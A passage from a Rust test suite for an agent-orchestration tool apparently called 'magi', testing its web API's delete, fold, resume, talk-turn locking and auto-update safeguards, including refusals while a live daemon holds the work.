21379 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21380 assert_eq!(
21381 find(&mid.id)["waits_on"],
21382 serde_json::json!([format!("{} (held)", root.short())])
21383 );
21384 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21385 }
21386
21387 #[tokio::test]
21388 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21389 let fx = Fixture::start().await;
21390 let q = fx.queue();
21391
21392 let mut t1 = Task::new(
21394 "Task 1".to_owned(),
21395 "Instruction 1".to_owned(),
21396 PathBuf::from("/repo"),
21397 Source::Human,
21398 );
21399 let run_id = "20260901-000000-r111";
21400 t1.runs.push(run_id.to_owned());
21401 write_run(&fx.runs(), run_id, RunStatus::Merged);
21402 q.put(&mut t1).expect("put t1");
21403
21404 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21406 assert_eq!(res.status, 204);
21407 assert!(res.body.is_empty(), "204 No Content has no body");
21408 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21409 assert!(
21410 fx.runs().join(run_id).exists(),
21411 "run directory must not be deleted when its task is deleted"
21412 );
21413
21414 let mut t2 = Task::new(
21416 "Task 2".to_owned(),
21417 "Instruction 2".to_owned(),
21418 PathBuf::from("/repo"),
21419 Source::Human,
21420 );
21421 t2.status = TaskStatus::Running;
21422 q.put(&mut t2).expect("put t2");
21423 let mut beat = crate::daemon::Status::new();
21424 beat.current = vec![crate::daemon::Current {
21425 worker: None,
21426 task: t2.id.clone(),
21427 run: "20260901-000000-r222".to_owned(),
21428 }];
21429 beat.updated_at = jiff::Timestamp::now();
21430 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21431 .expect("publish a heartbeat");
21432 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21433 assert_eq!(res.status, 409);
21434 assert!(
21435 res.json()["error"]
21436 .as_str()
21437 .unwrap()
21438 .contains("live daemon")
21439 );
21440 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21441
21442 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21448 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21449 .expect("leave a stale heartbeat");
21450 let mut t3 = Task::new(
21451 "Task 3".to_owned(),
21452 "Instruction 3".to_owned(),
21453 PathBuf::from("/repo"),
21454 Source::Human,
21455 );
21456 t3.status = TaskStatus::Running;
21457 q.put(&mut t3).expect("put t3");
21458 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21459 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21460 assert_eq!(res.status, 204);
21461 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21462 assert!(
21463 q.claim(&t3.id).is_ok(),
21464 "the stale lock went with it, so the id is claimable again"
21465 );
21466
21467 let res = fx.delete("/api/queue/nonexistent").await;
21469 assert_eq!(res.status, 404);
21470 }
21471
21472 #[tokio::test]
21473 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21474 let fx = Fixture::start().await;
21475 let runs = fx.runs();
21476
21477 let run_id = "20260901-000000-fold";
21479 let mut state = RunState::new(
21480 PathBuf::from("/repo"),
21481 "main".to_owned(),
21482 "abc".to_owned(),
21483 "instruction".to_owned(),
21484 Config::default(),
21485 );
21486 state.id = run_id.to_owned();
21487 state.status = RunStatus::Merged;
21488 state.candidates.push(crate::run::Candidate {
21489 index: 0,
21490 label: 'A',
21491 agent: "a".to_owned(),
21492 branch: "b".to_owned(),
21493 worktree: PathBuf::from("/w"),
21494 summary: String::new(),
21495 stat: String::new(),
21496 files: 1,
21497 commits: 1,
21498 empty: false,
21499 failed: None,
21500 verified_noop: None,
21501 duration_ms: 0,
21502 folded: true,
21503 });
21504 let dir = runs.join(run_id);
21505 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21506 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21507 .expect("write artifact");
21508 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21509 .expect("write run.json");
21510
21511 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21513 assert_eq!(res.status, 204);
21514 assert!(res.body.is_empty(), "204 has no body");
21515 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21516
21517 let run_running = "20260901-000000-rung";
21522 write_run(&runs, run_running, RunStatus::Prep);
21523 let mut beat = crate::daemon::Status::new();
21524 beat.current = vec![crate::daemon::Current {
21525 worker: None,
21526 task: "20260901-000000-task".to_owned(),
21527 run: run_running.to_owned(),
21528 }];
21529 beat.updated_at = jiff::Timestamp::now();
21530 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21531 .expect("publish a heartbeat");
21532 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21533 assert_eq!(res.status, 409);
21534 assert!(
21535 res.json()["error"]
21536 .as_str()
21537 .unwrap()
21538 .contains("live daemon"),
21539 "the refusal must say who is holding it"
21540 );
21541 assert!(
21542 runs.join(run_running).exists(),
21543 "a run in flight keeps its directory"
21544 );
21545
21546 let run_unfolded = "20260901-000000-unfd";
21548 let mut state2 = RunState::new(
21549 PathBuf::from("/repo"),
21550 "main".to_owned(),
21551 "abc".to_owned(),
21552 "instruction".to_owned(),
21553 Config::default(),
21554 );
21555 state2.id = run_unfolded.to_owned();
21556 state2.status = RunStatus::Ready;
21557 state2.candidates.push(crate::run::Candidate {
21558 index: 0,
21559 label: 'A',
21560 agent: "a".to_owned(),
21561 branch: "b".to_owned(),
21562 worktree: PathBuf::from("/w"),
21563 summary: String::new(),
21564 stat: String::new(),
21565 files: 1,
21566 commits: 1,
21567 empty: false,
21568 failed: None,
21569 verified_noop: None,
21570 duration_ms: 0,
21571 folded: false,
21572 });
21573 let dir2 = runs.join(run_unfolded);
21574 std::fs::create_dir_all(&dir2).expect("create dir2");
21575 std::fs::write(
21576 dir2.join("run.json"),
21577 serde_json::to_string(&state2).unwrap(),
21578 )
21579 .expect("write run.json");
21580
21581 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21582 assert_eq!(res.status, 409);
21583 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21584 assert!(dir2.exists(), "unfolded run directory is kept");
21585
21586 let res = fx.delete("/api/runs/nonexistent").await;
21588 assert_eq!(res.status, 404);
21589 }
21590
21591 #[test]
21600 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21601 let start = APP_JS
21602 .find("function renderStats() {")
21603 .expect("renderStats");
21604 let end = start
21605 + APP_JS[start..]
21606 .find("function statsTile(")
21607 .expect("the next top-level function");
21608 let body = &APP_JS[start..end];
21609
21610 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21611 let gate_end = gate_start
21612 + body[gate_start..]
21613 .find("}\n renderStatsQueue")
21614 .expect("the gate's own closing brace, right before the unconditional call");
21615 let gated = &body[gate_start..gate_end];
21616
21617 assert_eq!(
21618 body.matches("renderStatsQueue(").count(),
21619 1,
21620 "renderStats must call renderStatsQueue exactly once: {body}"
21621 );
21622 assert!(
21623 !gated.contains("renderStatsQueue"),
21624 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21625 run-derived panels on an empty run history - the queue panel has to render \
21626 regardless: {gated}"
21627 );
21628 }
21629
21630 #[test]
21631 fn web_ui_delete_contract_in_front_end() {
21632 assert!(APP_JS.contains("deleteRun:"));
21634 assert!(APP_JS.contains("deleteTask:"));
21635
21636 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21638 ..APP_JS.find("function renderRuns").unwrap()];
21639 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21640
21641 assert!(APP_JS.contains("renderRunDelete"));
21643 assert!(APP_JS.contains("runDeleteReason"));
21644 assert!(APP_JS.contains("magi fold"));
21645 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21646
21647 assert!(APP_JS.contains("cancel.focus"));
21649 assert!(APP_JS.contains("armedRunDelete"));
21650 assert!(APP_JS.contains("renderTaskDeleteBox"));
21651 assert!(APP_JS.contains("armed${cap(key)}"));
21652
21653 assert!(APP_JS.contains("disabled: status === \"running\""));
21655 }
21656
21657 #[test]
21677 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21678 let build = APP_JS
21679 .find("function createRunCard")
21680 .expect("createRunCard exists");
21681 let update = APP_JS
21682 .find("function updateRunCard")
21683 .expect("updateRunCard exists");
21684 let end = APP_JS
21685 .find("function renderRuns")
21686 .expect("renderRuns exists");
21687
21688 let builder = &APP_JS[build..update];
21690 let open = builder.find("refs = {").expect("createRunCard sets refs");
21691 let literal = &builder[open + "refs = {".len()..];
21692 let close = literal.find('}').expect("the refs literal is closed");
21693 let published: HashSet<&str> = literal[..close]
21694 .split(',')
21695 .filter_map(|entry| entry.split(':').next())
21697 .map(str::trim)
21698 .filter(|name| !name.is_empty())
21699 .collect();
21700 assert!(
21701 published.len() > 5,
21702 "the refs literal did not parse into names: {published:?}"
21703 );
21704
21705 let mut used: Vec<&str> = Vec::new();
21708 let updaters = &APP_JS[update..end];
21709 for (at, _) in updaters.match_indices("r.") {
21710 let before = updaters[..at].chars().next_back();
21713 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21714 continue;
21715 }
21716 let rest = &updaters[at + 2..];
21717 let len = rest
21718 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21719 .unwrap_or(rest.len());
21720 if len > 0 {
21721 used.push(&rest[..len]);
21722 }
21723 }
21724 assert!(
21725 used.len() > 5,
21726 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21727 );
21728
21729 let missing: Vec<&str> = used
21730 .iter()
21731 .copied()
21732 .filter(|name| !published.contains(name))
21733 .collect();
21734 assert!(
21735 missing.is_empty(),
21736 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21737 never put in `refs` - every card will throw and the list will \
21738 render empty under a count line that says otherwise. Published: \
21739 {published:?}"
21740 );
21741 }
21742
21743 #[tokio::test]
21744 async fn folding_from_the_phone_reports_what_it_removed() {
21745 let fx = Fixture::start().await;
21746 let runs = fx.runs();
21747
21748 let id = "20260901-000000-fold";
21752 write_run(&runs, id, RunStatus::Stalled);
21753 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21754 assert_eq!(res.status, 200);
21755 assert_eq!(res.json()["removed_count"], 0);
21756 assert_eq!(res.json()["run"], id);
21757 assert!(
21758 runs.join(id).exists(),
21759 "a fold keeps the run's record; only the worktrees go"
21760 );
21761 }
21762
21763 #[tokio::test]
21764 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21765 let fx = Fixture::start().await;
21766 let runs = fx.runs();
21767 let wt = fx.home.path().join("wt").join("magi").join("dead");
21768 let id = "20260901-000000-dead";
21769 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21770 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21771 std::fs::create_dir_all(&wt).expect("worktree dir");
21772
21773 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21774 assert_eq!(res.status, 200, "{}", res.body);
21775 assert!(
21776 res.json()["removed_count"].as_u64().unwrap() > 0,
21777 "the worktree this build could not read a state for still went"
21778 );
21779 assert!(
21780 !runs.join(id).exists(),
21781 "an unreadable run has no candidate list to fold selectively, so \
21782 the whole record goes - same as `magi fold` on the CLI"
21783 );
21784 }
21785
21786 #[tokio::test]
21787 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21788 let fx = Fixture::start().await;
21789 let runs = fx.runs();
21790 let wt = fx.home.path().join("wt").join("magi").join("gone");
21791 let id = "20260901-000000-gone";
21792 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21793 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21794 std::fs::create_dir_all(&wt).expect("worktree dir");
21795
21796 let res = fx.delete(&format!("/api/runs/{id}")).await;
21797 assert_eq!(res.status, 204, "{}", res.body);
21798 assert!(!runs.join(id).exists(), "the broken record is gone");
21799 assert!(!wt.exists(), "its worktree is gone too");
21800 }
21801
21802 #[tokio::test]
21803 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21804 let fx = Fixture::start().await;
21805 let runs = fx.runs();
21806 let id = "20260901-000000-live";
21807 write_run(&runs, id, RunStatus::Implementing);
21808
21809 let mut beat = crate::daemon::Status::new();
21810 beat.current = vec![crate::daemon::Current {
21811 worker: None,
21812 task: "20260901-000000-task".to_owned(),
21813 run: id.to_owned(),
21814 }];
21815 beat.updated_at = jiff::Timestamp::now();
21816 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21817 .expect("publish a heartbeat");
21818
21819 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21820 assert_eq!(res.status, 409);
21821 assert!(
21822 res.json()["error"]
21823 .as_str()
21824 .unwrap()
21825 .contains("live daemon"),
21826 "folding under a running agent would pull its worktree away"
21827 );
21828 }
21829
21830 #[tokio::test]
21831 async fn fold_merged_requires_a_pr_url() {
21832 let fx = Fixture::start().await;
21833 let runs = fx.runs();
21834 let id = "20260901-000000-nourl";
21835 write_run(&runs, id, RunStatus::Blocked);
21836
21837 let res = fx
21838 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21839 .await;
21840 assert_eq!(res.status, 400, "{}", res.body);
21841
21842 let blank = fx
21843 .post(
21844 &format!("/api/runs/{id}/fold-merged"),
21845 Some(r#"{"pr_url":" "}"#),
21846 )
21847 .await;
21848 assert_eq!(blank.status, 400, "{}", blank.body);
21849 }
21850
21851 #[tokio::test]
21852 async fn fold_merged_is_404_for_an_unknown_run() {
21853 let fx = Fixture::start().await;
21854 let res = fx
21855 .post(
21856 "/api/runs/nosuchrun/fold-merged",
21857 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21858 )
21859 .await;
21860 assert_eq!(res.status, 404, "{}", res.body);
21861 }
21862
21863 #[tokio::test]
21864 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21865 let fx = Fixture::start().await;
21866 let runs = fx.runs();
21867 let id = "20260901-000000-livemerge";
21868 write_run(&runs, id, RunStatus::Blocked);
21869
21870 let mut beat = crate::daemon::Status::new();
21871 beat.current = vec![crate::daemon::Current {
21872 worker: None,
21873 task: "20260901-000000-task".to_owned(),
21874 run: id.to_owned(),
21875 }];
21876 beat.updated_at = jiff::Timestamp::now();
21877 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21878 .expect("publish a heartbeat");
21879
21880 let res = fx
21881 .post(
21882 &format!("/api/runs/{id}/fold-merged"),
21883 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21884 )
21885 .await;
21886 assert_eq!(res.status, 409, "{}", res.body);
21887 assert!(
21888 res.json()["error"]
21889 .as_str()
21890 .unwrap()
21891 .contains("live daemon"),
21892 "correcting a run's merge underneath a running agent would race \
21893 whatever it is doing to the same `status`/`merge` fields"
21894 );
21895 }
21896
21897 #[tokio::test]
21902 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21903 let fx = Fixture::start().await;
21904 let runs = fx.runs();
21905 let id = "20260901-000000-unconfirmed";
21906 write_run(&runs, id, RunStatus::Blocked);
21907
21908 let res = fx
21909 .post(
21910 &format!("/api/runs/{id}/fold-merged"),
21911 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21912 )
21913 .await;
21914 assert_eq!(res.status, 400, "{}", res.body);
21915 assert_eq!(
21916 read_run(&runs, id).unwrap().status,
21917 RunStatus::Blocked,
21918 "a pull request that could not be confirmed merged must leave \
21919 the run exactly where it was"
21920 );
21921 }
21922
21923 #[tokio::test]
21924 async fn terminal_runs_cannot_be_resumed() {
21925 let fx = Fixture::start().await;
21926 let runs = fx.runs();
21927
21928 for (status, word) in [
21929 (RunStatus::Merged, "merged"),
21930 (RunStatus::Ready, "ready"),
21931 (RunStatus::Failed, "failed"),
21932 ] {
21933 let id = format!("20260901-000000-{}", &word[..4]);
21934 write_run(&runs, &id, status);
21935 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21936 assert_eq!(res.status, 409, "{word} must not be resumable");
21937 }
21938 }
21939
21940 #[tokio::test]
21941 async fn resume_is_refused_while_the_loop_is_running() {
21942 let fx = Fixture::start().await;
21943 let runs = fx.runs();
21944 let stalled = "20260901-000000-stal";
21945 write_run(&runs, stalled, RunStatus::Stalled);
21946
21947 let mut beat = crate::daemon::Status::new();
21951 beat.current = vec![crate::daemon::Current {
21952 worker: None,
21953 task: "20260901-000000-task".to_owned(),
21954 run: "20260901-000000-othr".to_owned(),
21955 }];
21956 beat.updated_at = jiff::Timestamp::now();
21957 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21958 .expect("publish a heartbeat");
21959
21960 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21961 assert_eq!(res.status, 409);
21962 let err = res.json()["error"].as_str().unwrap().to_owned();
21963 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21964 assert!(err.contains("stop it first"), "{err}");
21965 }
21966
21967 #[test]
21968 fn a_run_cannot_be_resumed_twice_at_once() {
21969 let home = TempDir::new().expect("temp home");
21970 let ui = Ui::new(
21971 Queue::at(home.path().join("queue")),
21972 Questions::at(home.path().join("questions")),
21973 Talks::at(home.path().join("talks")),
21974 home.path().join("runs"),
21975 home.path().to_path_buf(),
21976 PathBuf::from("/repo"),
21977 )
21978 .with_worktrees_root(home.path().join("wt"));
21979 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21980 let again = ui.begin_resume("20260901-000000-once");
21981 assert!(again.is_err(), "a second tap must not start a second graph");
21982 drop(first);
21983 assert!(
21984 ui.begin_resume("20260901-000000-once").is_ok(),
21985 "and the claim is released when the attempt ends"
21986 );
21987 }
21988
21989 #[test]
21990 fn talk_thinking_tracks_only_its_held_turn_claim() {
21991 let home = TempDir::new().expect("temp home");
21992 let ui = Ui::new(
21993 Queue::at(home.path().join("queue")),
21994 Questions::at(home.path().join("questions")),
21995 Talks::at(home.path().join("talks")),
21996 home.path().join("runs"),
21997 home.path().to_path_buf(),
21998 PathBuf::from("/repo"),
21999 )
22000 .with_worktrees_root(home.path().join("wt"));
22001 let id = "20260901-000000-once";
22002
22003 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22004 let turn = ui.begin_talk_turn(id).expect("claim turn");
22005 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22006 assert!(
22007 !ui.is_thinking("20260901-000000-other"),
22008 "one talk's turn does not make another talk busy"
22009 );
22010 drop(turn);
22011 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22012 }
22013
22014 #[test]
22015 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22016 let home = TempDir::new().expect("temp home");
22017 let talks = Talks::at(home.path().join("talks"));
22018 let ui = Ui::new(
22019 Queue::at(home.path().join("queue")),
22020 Questions::at(home.path().join("questions")),
22021 talks.clone(),
22022 home.path().join("runs"),
22023 home.path().to_path_buf(),
22024 PathBuf::from("/repo"),
22025 )
22026 .with_worktrees_root(home.path().join("wt"));
22027 let id = "20260901-000000-cross";
22028
22029 let other = Talks::at(home.path().join("talks"))
22030 .claim_turn(id)
22031 .expect("claim")
22032 .expect("the other process wins");
22033 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22034 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22035 assert!(
22036 matches!(
22037 ui.begin_talk_turn_unless_pending(id).expect("start"),
22038 TalkTurnStart::Foreign
22039 ),
22040 "a foreign holder is refused, not queued behind"
22041 );
22042 assert!(
22043 !ui.talk_turns.lock().unwrap().live.contains(id),
22044 "a refused claim leaves no in-process entry behind"
22045 );
22046 drop(other);
22047 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22048 assert!(talks.turn_held(id), "the web turn holds the lease");
22049 drop(turn);
22050 assert!(
22051 !talks.turn_held(id),
22052 "dropping the guard releases the lease"
22053 );
22054 }
22055
22056 fn consult_question(ui: &Ui) -> Question {
22057 let mut q = Question::new(
22058 "20260901-000000-consult".to_owned(),
22059 "implement".to_owned(),
22060 "impl-A".to_owned(),
22061 "Which backend?".to_owned(),
22062 String::new(),
22063 vec!["SQLite".to_owned(), "Redis".to_owned()],
22064 );
22065 ui.questions.put(&mut q).expect("question");
22066 q
22067 }
22068
22069 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22070 (
22071 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22072 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22073 )
22074 }
22075
22076 #[tokio::test]
22077 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22078 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22079 let q = consult_question(&ui);
22080 let talk = ui.talks.get(&id).expect("talk");
22081 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22082 let before = consult_snapshot(&ui, &q, &id);
22083 let cli_talks = Talks::at(ui.home.join("talks"));
22084 assert_eq!(
22085 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22086 .await
22087 .expect("CLI starter"),
22088 crate::consult::Started::Busy
22089 );
22090 assert_eq!(consult_snapshot(&ui, &q, &id), before);
22091 assert!(ui.is_thinking(&id));
22092 drop(guard);
22093 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22094 }
22095
22096 #[tokio::test]
22097 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22098 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22099 let q = consult_question(&ui);
22100 let talk = ui.talks.get(&id).expect("talk");
22101 let started = tmp.path().join("started");
22102 let release = tmp.path().join("release");
22103 let script = tmp.path().join("consult-agent.sh");
22104 std::fs::write(
22105 &script,
22106 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
22107 )
22108 .expect("script");
22109 let mut cfg = stub_config();
22110 cfg.agents[0].id = "mock".to_owned();
22111 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22112 cfg.agents[0].env = std::collections::BTreeMap::from([
22113 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22114 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22115 ]);
22116 let questions = ui.questions.clone();
22117 let cli_talks = Talks::at(ui.home.join("talks"));
22118 let cli_q = q.clone();
22119 let turn = tokio::spawn(async move {
22120 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22121 });
22122 let ready = tokio::time::timeout(Duration::from_secs(30), async {
22123 while !started.exists() {
22124 tokio::time::sleep(Duration::from_millis(10)).await;
22125 }
22126 })
22127 .await;
22128 let refusal = if ready.is_ok() {
22131 let before = consult_snapshot(&ui, &q, &id);
22132 let result = talk_say(
22133 State(Arc::clone(&ui)),
22134 Path(id.clone()),
22135 Ok(Json(NewTalkTurn {
22136 reply_to: None,
22137 text: "another message".to_owned(),
22138 attachments: Vec::new(),
22139 })),
22140 )
22141 .await;
22142 Some((result, before, consult_snapshot(&ui, &q, &id)))
22143 } else {
22144 None
22145 };
22146 std::fs::write(&release, "").expect("release agent");
22147 let done = turn.await.expect("join CLI turn");
22148 ready.expect("agent started before deadline");
22149 let (result, before, after) = refusal.expect("web request");
22150 let error = result.expect_err("web must refuse the CLI's turn");
22151 assert_eq!(error.status, StatusCode::CONFLICT);
22152 assert!(error.message.contains("a turn is already running"));
22153 assert_eq!(
22154 after, before,
22155 "refusal preserves question, draft and history"
22156 );
22157 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22158 let guard = ui
22159 .begin_talk_turn(&id)
22160 .expect("web claim")
22161 .expect("free again");
22162 drop(guard);
22163 }
22164
22165 #[test]
22166 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22167 let home = TempDir::new().expect("temp home");
22168 let talks = Talks::at(home.path().join("talks"));
22169 let ui = Ui::new(
22170 Queue::at(home.path().join("queue")),
22171 Questions::at(home.path().join("questions")),
22172 talks.clone(),
22173 home.path().join("runs"),
22174 home.path().to_path_buf(),
22175 PathBuf::from("/repo"),
22176 )
22177 .with_worktrees_root(home.path().join("wt"));
22178 let id = "20260901-000000-order";
22179 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22180 let slots = ui.talk_turns.lock().unwrap();
22182 let dropper = std::thread::spawn(move || drop(turn));
22183 let start = std::time::Instant::now();
22184 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22185 std::thread::sleep(Duration::from_millis(5));
22186 }
22187 assert!(!talks.turn_held(id), "the lease is released first");
22188 assert!(slots.live.contains(id), "the slot is still held meanwhile");
22189 drop(slots);
22190 dropper.join().expect("join");
22191 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22192 }
22193
22194 #[tokio::test]
22195 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22196 let fx = Fixture::start().await;
22197 let mut beat = crate::daemon::Status::new();
22198 beat.worker_protocol = None;
22199 beat.pid = 4321;
22200 beat.updated_at = jiff::Timestamp::now();
22201 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22202 .expect("publish a heartbeat");
22203
22204 let res = fx.post("/api/upgrade", None).await;
22205 assert_eq!(res.status, 409);
22206 }
22207
22208 #[test]
22215 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22216 assert!(!should_spawn_recheck(&crate::config::Update {
22217 mode: UpdateMode::Off,
22218 interval: None,
22219 auto_restart: false,
22220 }));
22221
22222 unsafe {
22225 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22226 }
22227 let killed = should_spawn_recheck(&crate::config::Update {
22228 mode: UpdateMode::Notify,
22229 interval: None,
22230 auto_restart: false,
22231 });
22232 unsafe {
22233 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22234 }
22235 assert!(
22236 !killed,
22237 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22238 one-time startup check"
22239 );
22240
22241 assert!(should_spawn_recheck(&crate::config::Update {
22242 mode: UpdateMode::Notify,
22243 interval: None,
22244 auto_restart: false,
22245 }));
22246 }
22247
22248 #[test]
22254 fn recheck_poll_period_tracks_a_short_configured_interval() {
22255 let short = crate::config::Update {
22256 mode: UpdateMode::Notify,
22257 interval: Some("1m".to_owned()),
22258 auto_restart: false,
22259 };
22260 let period = recheck_poll_period(&short);
22261 assert!(
22262 period <= Duration::from_secs(30),
22263 "a one-minute interval must wake the task far sooner than the \
22264 default ceiling, or the deck would not notice within the \
22265 interval the operator configured: got {period:?}"
22266 );
22267
22268 let default = crate::config::Update {
22269 mode: UpdateMode::Notify,
22270 interval: None,
22271 auto_restart: false,
22272 };
22273 assert_eq!(
22274 recheck_poll_period(&default),
22275 UPDATE_RECHECK_POLL_MAX,
22276 "the default day-long interval should poll at the (capped) \
22277 ceiling rather than needlessly often"
22278 );
22279 }
22280
22281 #[test]
22289 fn recheck_skips_the_network_before_the_interval_elapses() {
22290 let dir = TempDir::new().expect("temp dir");
22291 let path = dir.path().join("state.json");
22292 let state = kaishin::UpdateCheckState {
22293 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22294 last_known_latest: None,
22295 last_known_url: None,
22296 };
22297 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22298
22299 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22300 assert!(
22301 !update_recheck_due(&checker, None),
22302 "a check made moments ago must not be repeated before the \
22303 configured interval elapses"
22304 );
22305 }
22306
22307 #[test]
22313 fn recheck_defers_to_an_upgrade_already_in_flight() {
22314 let dir = TempDir::new().expect("temp dir");
22315 let path = dir.path().join("state.json");
22316 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22317 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22318
22319 assert!(
22320 !update_recheck_due(&checker, Some(&progress)),
22321 "a recheck must not run while an upgrade this deck started is \
22322 still moving"
22323 );
22324 }
22325
22326 #[tokio::test]
22327 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22328 unsafe {
22340 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22341 }
22342 let fx = Fixture::start().await;
22343 let res = fx.post("/api/upgrade", None).await;
22344 unsafe {
22345 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22346 }
22347 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22348 let body = res.json();
22349 assert!(body["to"].is_null(), "there was no release to move to");
22350 assert!(body["parked"].is_null(), "and nothing was parked");
22351 assert!(
22352 body["detail"]
22353 .as_str()
22354 .unwrap()
22355 .contains("disabled by MAGI_NO_AUTOUPDATE"),
22356 "{body:?}"
22357 );
22358 }
22359
22360 #[test]
22361 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22362 use AutoUpgradeDecision::{Skip, Trigger, Wait};
22363 let mut cfg = Update::default();
22364 assert!(matches!(
22365 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22366 Skip(_)
22367 ));
22368 cfg.auto_restart = true;
22369 assert_eq!(
22370 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22371 Trigger
22372 );
22373 assert_eq!(
22374 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22375 Wait
22376 );
22377 for (disabled, moving, failed) in [
22378 (true, false, None),
22379 (false, true, None),
22380 (false, false, Some("v2")),
22381 ] {
22382 assert!(matches!(
